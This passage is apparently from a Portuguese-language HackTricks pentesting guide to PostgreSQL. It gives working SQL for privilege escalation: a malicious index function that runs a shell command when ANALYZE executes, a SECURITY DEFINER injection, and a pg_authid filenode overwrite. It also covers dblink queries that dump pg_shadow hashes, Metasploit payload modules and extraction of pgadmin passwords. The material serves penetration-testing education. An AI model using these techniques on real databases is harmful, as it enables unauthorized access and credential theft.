5. Execute uma operação ANALYZE na tabela. Essa ação faz com que o mecanismo do PostgreSQL mude para o contexto de usuário do proprietário da tabela, "cloudsqladmin." Consequentemente, a função de índice maliciosa é chamada com as permissões de "cloudsqladmin," permitindo assim a execução do comando de shell previamente não autorizado.
|
|
|
|
No PostgreSQL, esse fluxo se parece com isso:
|
|
```sql
|
|
CREATE TABLE temp_table (data text);
|
|
CREATE TABLE shell_commands_results (data text);
|
|
|
|
INSERT INTO temp_table VALUES ('dummy content');
|
|
|
|
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
|
|
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
|
|
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
|
|
|
|
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
|
|
|
|
ALTER TABLE temp_table OWNER TO cloudsqladmin;
|
|
|
|
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
|
|
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
|
|
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
|
|
|
|
ANALYZE public.temp_table;
|
|
```
|
|
Em seguida, a tabela `shell_commands_results` conterá a saída do código executado:
|
|
```
|
|
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
|
|
```
|
|
### Login Local
|
|
|
|
Algumas instâncias mal configuradas do postgresql podem permitir o login de qualquer usuário local, é possível fazer login local a partir de 127.0.0.1 usando a função **`dblink`**:
|
|
```sql
|
|
\du * # Get Users
|
|
\l # Get databases
|
|
SELECT * FROM dblink('host=127.0.0.1
|
|
port=5432
|
|
user=someuser
|
|
password=supersecret
|
|
dbname=somedb',
|
|
'SELECT usename,passwd from pg_shadow')
|
|
RETURNS (result TEXT);
|
|
```
|
|
{% hint style="warning" %}
|
|
Note que, para a consulta anterior funcionar, **a função `dblink` precisa existir**. Se não existir, você pode tentar criá-la com
|
|
```sql
|
|
CREATE EXTENSION dblink;
|
|
```
|
|
{% endhint %}
|
|
|
|
Se você tiver a senha de um usuário com mais privilégios, mas o usuário não tem permissão para fazer login a partir de um IP externo, você pode usar a seguinte função para executar consultas como esse usuário:
|
|
```sql
|
|
SELECT * FROM dblink('host=127.0.0.1
|
|
user=someuser
|
|
dbname=somedb',
|
|
'SELECT usename,passwd from pg_shadow')
|
|
RETURNS (result TEXT);
|
|
```
|
|
É possível verificar se esta função existe com:
|
|
```sql
|
|
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
|
```
|
|
### Função definida pelo usuário com SECURITY DEFINER
|
|
|
|
[Neste artigo](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), os pentesters conseguiram obter privilégios elevados dentro de uma instância do postgres fornecida pela IBM, porque eles **encontraram esta função com a flag SECURITY DEFINER**:
|
|
|
|
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
|
RETURNS text
|
|
LANGUAGE 'plpgsql'
|
|
<strong> VOLATILE SECURITY DEFINER
|
|
</strong> PARALLEL UNSAFE
|
|
COST 100
|
|
|
|
AS $BODY$
|
|
DECLARE
|
|
persist_dblink_extension boolean;
|
|
BEGIN
|
|
persist_dblink_extension := create_dblink_extension();
|
|
PERFORM dblink_connect(format('dbname=%s', db_name));
|
|
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
|
|
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
|
|
PERFORM dblink_disconnect();
|
|
…
|
|
</code></pre>
|
|
|
|
Como [explicado na documentação](https://www.postgresql.org/docs/current/sql-createfunction.html), uma função com **SECURITY DEFINER é executada** com os privilégios do **usuário que a possui**. Portanto, se a função for **vulnerável a Injeção de SQL** ou estiver realizando **ações privilegiadas com parâmetros controlados pelo atacante**, ela poderá ser abusada para **elevar privilégios dentro do postgres**.
|
|
|
|
Na linha 4 do código anterior, você pode ver que a função possui a flag **SECURITY DEFINER**.
|
|
```sql
|
|
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
|
|
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
|
|
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
|
```
|
|
E então **executar comandos**:
|
|
|
|
<figure><img src="../.gitbook/assets/image (649).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
### Realizar Brute Force com PL/pgSQL
|
|
|
|
**PL/pgSQL** é uma **linguagem de programação completa** que oferece maior controle procedural em comparação com o SQL. Ele permite o uso de **loops** e outras **estruturas de controle** para aprimorar a lógica do programa. Além disso, **declarações SQL** e **triggers** têm a capacidade de invocar funções criadas usando a **linguagem PL/pgSQL**. Essa integração permite uma abordagem mais abrangente e versátil para programação e automação de banco de dados.\
|
|
**Você pode abusar dessa linguagem para solicitar ao PostgreSQL que faça força bruta nas credenciais dos usuários.**
|
|
|
|
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
|
|
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Elevação de Privilégios Sobrescrevendo Tabelas Internas do PostgreSQL
|
|
|
|
{% hint style="info" %}
|
|
O seguinte vetor de elevação de privilégios é especialmente útil em contextos de SQLi restritos, pois todas as etapas podem ser realizadas por meio de declarações SELECT aninhadas.
|
|
{% endhint %}
|
|
|
|
Se você pode **ler e escrever arquivos do servidor PostgreSQL**, você pode **se tornar um superusuário** sobrescrevendo o filenode em disco do PostgreSQL, associado à tabela interna `pg_authid`.
|
|
|
|
Saiba mais sobre **essa técnica** [**aqui**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
|
|
|
|
Os passos do ataque são:
|
|
|
|
1. Obter o diretório de dados do PostgreSQL
|
|
2. Obter um caminho relativo para o filenode, associado à tabela `pg_authid`
|
|
3. Baixar o filenode por meio das funções `lo_*`
|
|
4. Obter o tipo de dados, associado à tabela `pg_authid`
|
|
5. Usar o [Editor de Filenode do PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) para [editar o filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); definir todos os indicadores booleanos `rol*` como 1 para permissões completas.
|
|
6. Reenviar o filenode editado por meio das funções `lo_*` e sobrescrever o arquivo original no disco
|
|
7. _(Opcionalmente)_ Limpar o cache da tabela em memória executando uma consulta SQL cara
|
|
8. Agora você deve ter os privilégios de um superadministrador completo.
|
|
|
|
## **POST**
|
|
```
|
|
msf> use auxiliary/scanner/postgres/postgres_hashdump
|
|
msf> use auxiliary/scanner/postgres/postgres_schemadump
|
|
msf> use auxiliary/admin/postgres/postgres_readfile
|
|
msf> use exploit/linux/postgres/postgres_payload
|
|
msf> use exploit/windows/postgres/postgres_payload
|
|
```
|
|
### registro
|
|
|
|
Dentro do arquivo _**postgresql.conf**_ você pode habilitar os registros do postgresql alterando:
|
|
```bash
|
|
log_statement = 'all'
|
|
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
|
|
logging_collector = on
|
|
sudo service postgresql restart
|
|
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
|
|
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
|
|
```
|
|
Em seguida, **reinicie o serviço**.
|
|
|
|
### pgadmin
|
|
|
|
[pgadmin](https://www.pgadmin.org) é uma plataforma de administração e desenvolvimento para o PostgreSQL.\
|
|
Você pode encontrar **senhas** dentro do arquivo _**pgadmin4.db**_\
|
|
Você pode descriptografá-las usando a função _**decrypt**_ dentro do script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
|
|
```bash
|
|
sqlite3 pgadmin4.db ".schema"
|
|
sqlite3 pgadmin4.db "select * from user;"
|
|
sqlite3 pgadmin4.db "select * from server;"
|
|
string pgadmin4.db
|
|
```
|
|
### pg\_hba
|
|
|
|
A autenticação do cliente no PostgreSQL é gerenciada por meio de um arquivo de configuração chamado **pg\_hba.conf**. Este arquivo contém uma série de registros, cada um especificando um tipo de conexão, intervalo de endereços IP do cliente (se aplicável), nome do banco de dados, nome de usuário e o método de autenticação a ser usado para conexões correspondentes. O primeiro registro que corresponde ao tipo de conexão, endereço do cliente, banco de dados solicitado e nome de usuário é usado para autenticação. Não há fallback ou backup se a autenticação falhar. Se nenhum registro corresponder, o acesso é negado.
|
|
|
|
Os métodos de autenticação baseados em senha disponíveis no pg\_hba.conf são **md5**, **crypt** e **password**. Esses métodos diferem na forma como a senha é transmitida: MD5-hashed, crypt-encrypted ou texto simples. É importante observar que o método crypt não pode ser usado com senhas que foram criptografadas em pg\_authid.
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias **mais avançadas** do mundo.\
|
|
Acesse hoje:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
|